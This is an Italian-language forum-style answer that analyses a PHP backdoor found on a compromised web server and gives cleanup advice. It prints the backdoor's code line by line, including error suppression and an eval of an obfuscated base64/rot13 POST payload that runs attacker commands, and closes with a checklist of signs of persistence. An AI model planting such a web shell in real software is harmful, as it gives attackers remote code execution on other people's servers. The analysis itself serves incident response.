Analisi di script dannosi

Brutto pezzettino di codice

Probabilmente è una configurazione botnet o una backdoor per gli script kiddies. Avrebbe bisogno di vedere quello che stanno passando come vars e URL per dirti con cosa ti stanno colpendo, ma questo è uno script di backdoor test che tenta diversi exploit noti per passare informazioni al tuo server. Di solito vengono iniettati tramite MySQL Injection Attack ed eseguiti su stampa, o su un output non sicuro (non pulito) di variabili fornite dal cliente (compresi i cookie).

Disabilita la registrazione con output di errore disabilitato nel caso in cui ini_set e error_reporting non siano consentiti:

@error_reporting(0); @ini_set("display_errors",0); @ini_set("log_errors",0); @ini_set("error_log",0);

Verifica la variabile 'r' $_GET passata attraverso la barra degli indirizzi (probabile controllo per .htaccess reindirizzamento).

if (isset($_GET['r'])) { print $_GET['r']; } 

Verifica se la propria variabile post è passata e probabilmente esegue qualsiasi payload che hanno preparato.

elseif (isset($_POST['e'])) { eval(base64_decode(str_rot13(strrev(base64_decode(str_rot13($_POST['e'])))))); } 

Controlla se permetti l'apertura remota degli URL se il primo metodo fallisce

elseif (isset($_SERVER['HTTP_CONTENT_ENCODING']) && $_SERVER['HTTP_CONTENT_ENCODING'] == 'binary') { $data = file_get_contents('php://input');

Verifica la loro importazione

if (strlen($data) > 0) print 'STATUS-IMPORT-OK'; 

Cerca di scrivere un file

if (strlen($data) > 12) { $fp=@fopen('tmpfile','a');

Blocca il file con un blocco esclusivo per la scrittura

@flock($fp, LOCK_EX); 

Stampa su un file con display di errore (probabilmente un altro carico utile per qualche altro server)

@fputs($fp, $_SERVER['REMOTE_ADDR']."\t".base64_encode($data)."\r\n"); 

Rilascia il blocco

@flock($fp, LOCK_UN);

Chiude il file che è ora sul tuo server

@fclose($fp); } }

Chiude lo script

exit;

Puoi analizzare questo aspetto per le cose che hanno verificato e implementarle nel caso in cui tu possa essere compromesso da questo. Il bit flock() è in alcuni dei codici più recenti.

Come regola generale, quando gli sviluppatori di programmazione non dovrebbero mai fidarsi dell'input fornito dal client.

Aggiorna

Prova a cercare il tuo codice per le stringhe codificate in base 64 che non hai creato. Puoi grep per cose come eval( . Potrebbe essere nel tuo database anche se hai permesso loro il tempo sulla tua scatola. È probabile che un motore del payload si trovi da qualche parte sul server (in questo caso avresti più familiarità con il codice esistente sul server di chiunque altro). Ho visto questi scrivere backdoor FTP, backdoor del database personalizzato con nuovi database e rootkit. Quindi, a seconda di chi hai a che fare se hai un accesso fisico, scollegalo dalla rete fino a quando non lo puoi pulire.

Altrimenti, blocca tutto il traffico verso il server eccetto il tuo indirizzo IP.

Dovrai passare attraverso ogni fase del loro script per vedere cosa è stato permesso. Probabilmente si sono fermati al primo exploit. Ciò non significa però che gli altri non esistano.

Nota: il ripristino dal backup non corregge l'exploit. durerà circa 2 secondi se sono sulla tua scatola.

Solo poche altre cose da cercare che ho incontrato:

1. cron s (che controlla lo script e lo riscrive nel caso in cui sia eliminato)
2. eseguibili in top (che non ti aspetti di essere lì)
3. Nuovi utenti
4. Nuove sottodirectory
5. Nuove directory httpd.conf (un nuovo sito Web)
6. Nuovo database
7. Nuove tabelle del database
8. Nuovo utente del database
9. Nuovi gruppi
10. Nuove regole di whitelist IP nel firewall

Di solito richiedono una cancellazione e una ricostruzione con una sicurezza migliore fin dall'inizio, solitamente quando qualcuno nota che sono passate poche ore da quando l'exploit e gli attaccanti hanno eseguito più backdoor e payload nella casella ora infetta. Ti mostrerà dove sono tutte le debolezze del server.